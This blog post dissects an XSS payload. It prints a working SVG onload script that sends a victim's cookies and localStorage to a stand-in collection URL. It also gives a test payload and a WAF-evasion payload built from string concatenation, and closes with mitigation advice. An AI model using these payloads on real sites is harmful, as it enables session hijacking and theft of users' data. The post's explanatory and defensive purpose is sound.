Post

XSS Payload That Steals Both Cookies and Local Storage Data

Posted
By Anoop Kumar
3 min read
XSS Payload That Steals Both Cookies and Local Storage Data

Cross-Site Scripting (XSS) attacks remain a pervasive threat to web application security, enabling client-side code injection and execution. This analysis dissects a potent XSS payload specifically engineered for the exfiltration of both HTTP cookies and localStorage data from compromised user sessions.

☣️ The Exfiltration Payload

1

<svg/onload='const url = `https://weburl/collect?cookie=${encodeURIComponent(document.cookie)}&localStorage=${encodeURIComponent(JSON.stringify(localStorage))}`; fetch(url);'>

This inline SVG-based payload, when rendered by a vulnerable web page, initiates the following sequence of operations:

  1. SVG Element Instantiation: The <svg> tag is leveraged as an HTML element capable of executing inline JavaScript via event handlers.
  2. onload Event Trigger: The onload event handler is invoked immediately upon the SVG element’s parsing and rendering within the DOM.
  3. Malicious URL Construction: A dynamic URL string is constructed, incorporating:
    • The attacker’s controlled data collection endpoint: https://weburl/collect.
    • The victim’s document.cookie string, URL-encoded (encodeURIComponent) to ensure safe transmission of special characters.
    • The victim’s localStorage object, serialized to a JSON string (JSON.stringify) and then URL-encoded for transmission.
  4. Asynchronous Data Transmission: The fetch(url) API asynchronously transmits an HTTP GET request containing the constructed URL and its sensitive query parameters (exfiltrated cookies and localStorage data) to the attacker’s server. This occurs without page reload, making the attack highly stealthy.

🚨 Consequences of Successful Exploitation

A successful XSS attack leveraging such a payload can lead to severe security breaches:

  • Session Hijacking: The exfiltration of HTTP-only (if HttpOnly flag is absent) or non-HttpOnly cookies enables attackers to hijack active user sessions, bypass authentication mechanisms, and assume the victim’s identity within the application.
  • Persistent Data Compromise: The compromise of localStorage allows attackers to steal cached Personally Identifiable Information (PII), application-specific settings, API keys, or JWTs (if stored insecurely client-side), leading to privacy violations and potential further exploitation.
  • Privilege Escalation: By impersonating privileged users, attackers can potentially escalate their access rights within the application.

🧪 Advanced XSS Techniques & Testing

  • Vulnerability Testing: Developers should proactively test for XSS by injecting common payloads into all user-controlled input fields (e.g., email, search queries, comments). A basic test payload such as test@gmail.com'%22%3E%3Csvg/onload=alert(/xss/)%3E can reveal client-side execution.
  • WAF Evasion: Adversaries continuously innovate techniques to bypass Web Application Firewalls (WAFs) and sanitize filters. Examples include character encoding, HTML entity obfuscation, tag attribute manipulation, and JavaScript context breaking. The provided location concatenation payload "><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c">" demonstrates a complex evasion strategy utilizing onbeforescriptexecute (a deprecated event handler) and character concatenation to reconstruct malicious JavaScript.

🔒 Robust Protection Measures

Mitigating XSS vulnerabilities requires a multi-layered defense strategy deeply integrated into the Software Development Life Cycle (SDLC):

  • Input Validation & Sanitization: Implement rigorous server-side validation for all user-supplied input. This includes type checking, length constraints, and strict regex-based sanitization to filter out malicious characters and HTML tags.
  • Contextual Output Encoding: All user-generated content rendered into HTML must be contextually output-encoded. This is critical: different HTML contexts (body, attribute, JavaScript, URL) require specific encoding schemes to neutralize executable code.
  • Content Security Policy (CSP): Deploy a strong and granular Content Security Policy (CSP) via HTTP response headers. CSP acts as a whitelist, restricting the sources from which scripts, styles, and other resources can be loaded and executed, significantly reducing the attack surface.
  • HttpOnly and Secure Flags for Cookies: Mark sensitive cookies (especially session tokens) with the HttpOnly flag to prevent client-side JavaScript access. Utilize the Secure flag to ensure cookies are only transmitted over encrypted HTTPS connections.
  • Regular Security Testing: Conduct routine automated and manual penetration testing (including DAST and SAST) to identify and remediate XSS vulnerabilities proactively. Promptly apply security patches and updates for all libraries and frameworks.
  • Secure Coding Practices: Adhere to secure coding best practices and frameworks (e.g., OWASP ASVS) that inherently mitigate XSS risks by design. Avoid dynamically constructing HTML from untrusted input without proper escaping.

Stay vigilant and proactive in fortifying your web applications against XSS attacks. Proactive prevention and robust development practices are paramount.

Cybersecurity, XSS Payload
xss web-security payloads hacking
This post is licensed under CC BY 4.0 by the author.